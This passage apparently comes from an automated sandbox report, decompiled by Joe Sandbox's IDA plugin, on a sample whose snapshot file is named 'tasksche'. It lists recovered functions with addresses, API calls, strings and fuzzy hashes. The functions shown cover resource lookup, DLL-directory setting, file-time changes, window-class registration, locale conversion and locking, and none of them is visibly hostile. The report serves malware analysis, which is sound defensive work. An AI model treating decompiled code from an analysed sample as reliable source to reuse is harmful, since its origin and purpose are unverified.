				struct HINSTANCE__* _t5;
				struct HRSRC__* _t6;
				signed int _t10;
				char _t12;
				intOrPtr* _t18;

				_t18 = __ecx;
				_t5 = GetModuleHandleW(0);
				_t19 = L"RTL";
				_t6 = FindResourceW(_t5, L"RTL", 5);
				if(_t6 == 0) {
					E0040BF1D(_t18, L"LTR",  &_v2052, 0x400, 1, L"LTR");
					_t10 = E0041AA21( &_v2052, _t19);
					asm("sbb al, al");
					_t12 =  ~_t10 + 1;
					 *((char*)(_t18 + 0x10)) = _t12;
					return _t12;
				}
				 *((char*)(_t18 + 0x10)) = 1;
				return _t6;
			}

0x0040c103
0x0040c105
0x0040c10d
0x0040c114
0x0040c11c
0x0040c13b
0x0040c148
0x0040c14f
0x0040c152
0x0040c155
0x00000000
0x0040c155
0x0040c11e
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0040C105
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 0040C114

Strings

RTL, xrefs: 0040C10D, 0040C112, 0040C146
LTR, xrefs: 0040C124, 0040C129, 0040C138

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction ID: 3bee6f5c2cd76a6cf6446ed83b6680fa0d6a216d229c8f919e909fc3329ffe0a
Opcode Fuzzy Hash: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction Fuzzy Hash: 69F0243238026467DA2067756C4AFE72B7CAB81310F44057AB605E71C1CFA8D499CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 00423463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00423463() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x42b9d0;
					_v28 =  *0x42b9c8;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00423468
0x00423470
0x00423487
0x00423433
0x0042343c
0x00423448
0x0042344b
0x0042344e
0x00423450
0x00423453
0x00423458
0x00423462
0x0042345a
0x0042345e
0x0042345e
0x00423472
0x00423478
0x00423480
0x00000000
0x00423482
0x00423482
0x00423486
0x00423486
0x00423480

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041D860), ref: 00423468
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00423478

Strings

KERNEL32, xrefs: 00423463
IsProcessorFeaturePresent, xrefs: 00423472

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction ID: 925bd1e911d968a2cf7935e923f91739ef174afc765d351c528eb22c7f6e48fa
Opcode Fuzzy Hash: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction Fuzzy Hash: C7F03060B00A1AD2DB116FA1BC1A67F7B78FB80742FD105D1D6D5E0084DF7885B1D38A

Uniqueness

Uniqueness Score: -1.00%

Function 00419A36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419A36(intOrPtr* __ecx, intOrPtr _a4) {
				struct _WNDCLASSEXW _v52;
				short _t17;
				intOrPtr* _t18;
				intOrPtr _t21;

				_t21 = _a4;
				_t18 = __ecx;
				_v52.cbSize = 0x30;
				_v52.style = 0x828;
				_v52.lpfnWndProc = E004199EC;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t21;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"RarHtmlClassName";
				_v52.hIconSm = 0;
				_t17 = RegisterClassExW( &_v52);
				 *_t18 = _t21;
				return _t17;
			}

0x00419a3e
0x00419a4a
0x00419a4c
0x00419a53
0x00419a5a
0x00419a61
0x00419a64
0x00419a67
0x00419a6a
0x00419a73
0x00419a7a
0x00419a81
0x00419a84
0x00419a8b
0x00419a8e
0x00419a95
0x00419a9a

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
RegisterClassExW.USER32 ref: 00419A8E

Strings

0, xrefs: 00419A4C
RarHtmlClassName, xrefs: 00419A84

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction ID: b9ed7023dc6f3226d58ddf2044dfc6b29f2317d5cd4a011e6e0fd8f9270d308a
Opcode Fuzzy Hash: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction Fuzzy Hash: 81F0F2B1D00228ABCB019F9AD844AEEFBF8FF98304F10805BE500B6250D7B916018FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410E1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00410E1C(signed char _a4) {
				struct HINSTANCE__* _t2;

				_t2 = GetModuleHandleW(L"kernel32");
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t2, "SetDllDirectoryW");
					if(_t2 != 0) {
						asm("sbb ecx, ecx");
						return _t2->i( ~(_a4 & 0x000000ff) & 0x0042a73c);
					}
				}
				return _t2;
			}

0x00410e21
0x00410e29
0x00410e31
0x00410e39
0x00410e42
0x00000000
0x00410e4b
0x00410e39
0x00410e4d

APIs

GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

Strings

kernel32, xrefs: 00410E1C
SetDllDirectoryW, xrefs: 00410E2B

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDllDirectoryW$kernel32
API String ID: 1646373207-2052158636
Opcode ID: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction ID: d1dc000951ac042e8af12af71ac4f40d64c7c6d3e89629ddd7054994e9706fe8
Opcode Fuzzy Hash: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction Fuzzy Hash: 2BD0A7B03243215797282B729C1AB2B65584B50F027944D3E7E0AC0080CA6DC0A0853F

Uniqueness

Uniqueness Score: -1.00%

Function 00409135 Relevance: 6.1, APIs: 4, Instructions: 128
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00409135(WCHAR* _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				char _v8;
				void* _v12;
				signed char _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				short _v4136;
				signed int* _t48;
				signed int* _t49;
				signed int* _t50;
				signed char _t51;
				void* _t52;
				void* _t63;

				E0041AAF0(0x1024);
				_t48 = _a8;
				if(_t48 == 0) {
					L2:
					_v7 = 0;
				} else {
					_v7 = 1;
					if(( *_t48 | _t48[1]) == 0) {
						goto L2;
					}
				}
				_t49 = _a12;
				if(_t49 == 0) {
					L5:
					_v6 = 0;
				} else {
					_v6 = 1;
					if(( *_t49 | _t49[1]) == 0) {
						goto L5;
					}
				}
				_t50 = _a16;
				if(_t50 == 0) {
					L8:
					_v5 = 0;
				} else {
					_v5 = 1;
					if(( *_t50 | _t50[1]) == 0) {
						goto L8;
					}
				}
				_t51 = E00409041(_a4);
				_v16 = _t51;
				if(_t51 == 0xffffffff || (_t51 & 0x00000001) == 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
					E0040908D(_a4, 0);
				}
				_t52 = CreateFileW(_a4, 0x40000000, 3, 0, 3, 0x2000000, 0);
				_v12 = _t52;
				if(_t52 != 0xffffffff) {
					L15:
					if(_v7 != 0) {
						E00411346(_a8,  &_v40);
					}
					if(_v6 != 0) {
						E00411346(_a12,  &_v32);
					}
					if(_v5 != 0) {
						E00411346(_a16,  &_v24);
					}
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					SetFileTime(_v12,  ~(_v6 & 0x000000ff) &  &_v32,  ~(_v5 & 0x000000ff) &  &_v24,  ~(_v7 & 0x000000ff) &  &_v40);
					_t63 = CloseHandle(_v12);
					if(_v8 != 0) {
						return E0040908D(_a4, _v16);
					}
				} else {
					_t63 = E0040A3DC(_a4,  &_v4136, 0x800);
					if(_t63 != 0) {
						_t63 = CreateFileW( &_v4136, 0x40000000, 3, 0, 3, 0x2000000, 0);
						_v12 = _t63;
						if(_t63 != 0xffffffff) {
							goto L15;
						}
					}
				}
				return _t63;
			}

0x0040913d
0x00409142
0x0040914c
0x00409159
0x00409159
0x0040914e
0x00409153
0x00409157
0x00000000
0x00000000
0x00409157
0x0040915d
0x00409162
0x0040916f
0x0040916f
0x00409164
0x00409169
0x0040916d
0x00000000
0x00000000
0x0040916d
0x00409173
0x00409178
0x00409185
0x00409185
0x0040917a
0x0040917f
0x00409183
0x00000000
0x00000000
0x00409183
0x0040918c
0x00409191
0x00409197
0x0040929c
0x004091a5
0x004091a9
0x004091ad
0x004091ad
0x004091cd
0x004091cf
0x004091d5
0x00409212
0x00409216
0x0040921f
0x0040921f
0x00409228
0x00409231
0x00409231
0x0040923a
0x00409243
0x00409243
0x0040924e
0x0040925c
0x0040926a
0x00409275
0x0040927e
0x00409288
0x00000000
0x00409290
0x004091d7
0x004091e6
0x004091ed
0x00409204
0x00409206
0x0040920c
0x00000000
0x00000000
0x0040920c
0x004091ed
0x00409299

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,?,?,00407536,?,?,?), ref: 004091CD
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00407536,?,?,?,?), ref: 00409204
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,00407536,?,?,?,?), ref: 00409275
CloseHandle.KERNEL32(?,?,00407536,?,?,?,?), ref: 0040927E

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction ID: 149005b1c5d3a5dbb79089aff48ec9cca0dae1d541df05bff41c4f18bd56acf5
Opcode Fuzzy Hash: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction Fuzzy Hash: 1141A131A00248BEEF12DBA4CC49FEE7BB89F05304F1445AAF851BB2D2C6789E45D755

Uniqueness

Uniqueness Score: -1.00%

Function 00424FCE Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00424FCE(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0041D0C8( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00422793( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0041EDAE(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00424fd8
0x00424fdf
0x00424ff6
0x00000000
0x00424fe6
0x00424fe8
0x00425002
0x00425007
0x0042500a
0x0042500d
0x00425036
0x0042503d
0x0042503f
0x004250c0
0x004250db
0x004250dd
0x0042501d
0x0042501d
0x00425020
0x00425022
0x00425025
0x00425025
0x00425025
0x00425025
0x00000000
0x0042502b
0x0042509f
0x0042509f
0x004250a4
0x004250aa
0x004250ad
0x004250af
0x004250b2
0x004250b2
0x004250b2
0x004250b2
0x00000000
0x004250b6
0x00425041
0x00425044
0x0042504a
0x0042504d
0x00425074
0x00425077
0x0042507d
0x00000000
0x00000000
0x0042507f
0x00425082
0x00000000
0x00000000
0x00425084
0x00425084
0x0042508a
0x0042508d
0x00424ffb
0x00424ffb
0x00425096
0x00000000
0x00425096
0x0042504f
0x00425052
0x00000000
0x00000000
0x00425056
0x00425067
0x0042506d
0x0042506f
0x00425072
0x00000000
0x00000000
0x00000000
0x00425072
0x0042500f
0x00425012
0x00425014
0x0042501a
0x0042501a
0x00000000
0x00424fea
0x00424fea
0x00424fef
0x00424ff3
0x00424ff3
0x00000000
0x00424fef
0x00424fe8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00425002
__isleadbyte_l.LIBCMT ref: 00425036
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,?,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 00425067
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,00000001,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 004250D5

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction ID: 432046cfce088e341913eb2016d1b5e66f5b1b0e2666f0ac1bd271c546b36d2c
Opcode Fuzzy Hash: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction Fuzzy Hash: C831D131B00265EFDB20DF64EC809BA7BA0EF41310F5685AAE4618B2D1D735D981DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413097 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413097(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __edi;
				char _t21;
				void* _t25;
				char _t27;
				char _t31;
				void* _t32;
				char _t33;
				void* _t34;

				_t34 = __ecx;
				_t27 = 1;
				 *((char*)(__ecx + 0xa6c)) = 1;
				 *((intOrPtr*)(__ecx + 0x660)) = _a4;
				E00412F1C(__ecx, __edx, __eflags);
				 *((char*)(__ecx + 0x86c)) = 0;
				 *((char*)(__ecx + 0x86d)) = 2;
				E0041A820(_t32, __ecx + 0x86e, 4, 9);
				E0041A820(_t32, _t34 + 0x877, 6, 0xf5);
				_t21 = 0;
				do {
					 *((char*)(_t34 + _t21 + 0x76c)) = _t21;
					_t21 = _t21 + 1;
				} while (_t21 < 3);
				_t31 = _t21;
				_t33 = 1;
				while(_t21 < 0x100) {
					_t33 = _t33 - 1;
					__eflags = _t33;
					 *((char*)(_t34 + _t21 + 0x76c)) = _t31;
					if(_t33 == 0) {
						_t27 = _t27 + 1;
						_t33 = _t27;
						_t31 = _t31 + 1;
						__eflags = _t31;
					}
					_t21 = _t21 + 1;
					__eflags = _t21;
				}
				E0041A820(_t33, _t34 + 0x96c, 0, 0x40);
				_t25 = E0041A820(_t33, _t34 + 0x9ac, 8, 0xc0);
				 *((char*)(_t34 + 0x642)) = 7;
				return _t25;
			}

0x0041309d
0x004130a1
0x004130a3
0x004130a9
0x004130af
0x004130bf
0x004130c6
0x004130cd
0x004130e0
0x004130e8
0x004130ea
0x004130ea
0x004130f1
0x004130f2
0x004130f7
0x004130f9
0x00413111
0x00413102
0x00413102
0x00413103
0x0041310a
0x0041310c
0x0041310d
0x0041310f
0x0041310f
0x0041310f
0x00413110
0x00413110
0x00413110
0x00413120
0x00413133
0x0041313c
0x00413145

APIs

Part of subcall function 00412F1C: _memset.LIBCMT ref: 00412F36

_memset.LIBCMT ref: 004130CD
_memset.LIBCMT ref: 004130E0
_memset.LIBCMT ref: 00413120
_memset.LIBCMT ref: 00413133

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction ID: dbb621f027503421eccd8689c294ebf88999011181a54c0115c225b35bd7b5a3
Opcode Fuzzy Hash: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction Fuzzy Hash: 9811487164478069E220EA7A4C46FE3B6DD9B1931CF44883FF2DEC7183C6AA6846C756

Uniqueness

Uniqueness Score: -1.00%

Function 00411072 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00411072(void* __ecx, void* __edx, void* __edi) {
				void* __ebx;
				intOrPtr _t11;
				intOrPtr _t12;
				long* _t15;
				intOrPtr _t16;
				long* _t23;
				void* _t26;
				intOrPtr _t31;
				void* _t32;

				_t27 = __edi;
				_t26 = __edx;
				E0041A4DC(E004297F9, _t32);
				_push(__ecx);
				EnterCriticalSection(0x44f590);
				_t11 =  *0x44f588; // 0x0
				 *0x44f588 =  *0x44f588 + 1;
				_t35 = _t11;
				if(_t11 == 0) {
					_push(0x1b8);
					_t15 = E0041A89A(0x44f590, _t26, __edi, _t35);
					 *((intOrPtr*)(_t32 - 0x10)) = _t15;
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E00410F29(_t15, 0x20);
					}
					 *(_t32 - 4) =  *(_t32 - 4) | 0xffffffff;
					 *0x44f584 = _t16;
				}
				_t38 =  *0x44f588 - 1;
				if( *0x44f588 <= 1) {
					LeaveCriticalSection(0x44f590);
					_t12 =  *0x44f584; // 0x21e11f0
				} else {
					_push(0x1b8);
					_t23 = E0041A89A(0x44f590, _t26, _t27, _t38);
					 *((intOrPtr*)(_t32 - 0x10)) = _t23;
					 *(_t32 - 4) = 1;
					if(_t23 == 0) {
						_t31 = 0;
						__eflags = 0;
					} else {
						_t31 = E00410F29(_t23, 0x20);
					}
					LeaveCriticalSection(0x44f590);
					_t12 = _t31;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t32 - 0xc));
				return _t12;
			}

0x00411072
0x00411072
0x00411077
0x0041107c
0x00411085
0x0041108b
0x00411090
0x0041109b
0x0041109d
0x0041109f
0x004110a0
0x004110a6
0x004110a9
0x004110af
0x004110bc
0x004110bc
0x004110b1
0x004110b5
0x004110b5
0x004110be
0x004110c2
0x004110c2
0x004110c7
0x004110ce
0x00411100
0x00411106
0x004110d0
0x004110d0
0x004110d7
0x004110d9
0x004110dc
0x004110e5
0x004110f2
0x004110f2
0x004110e7
0x004110ee
0x004110ee
0x004110f5
0x004110fb
0x004110fb
0x00411110
0x00411118

APIs

__EH_prolog.LIBCMT ref: 00411077
EnterCriticalSection.KERNEL32(0044F590,?,?,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?), ref: 00411085
LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 004110F5

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 00411100

Part of subcall function 00410F29: InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
Part of subcall function 00410F29: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
Part of subcall function 00410F29: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore_malloc
String ID:
API String ID: 1405584564-0
Opcode ID: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction ID: 491e5497db774d6ab3e78c5f78b9db4af1dc916e288055147b814ae628d52a75
Opcode Fuzzy Hash: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction Fuzzy Hash: 1A118234A01321EBD724AF74AC457EABBA4AB0C355F10453BE902E3692DBBC89D1865D

Uniqueness

Uniqueness Score: -1.00%

Function 0042332E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042332E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00422C1F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
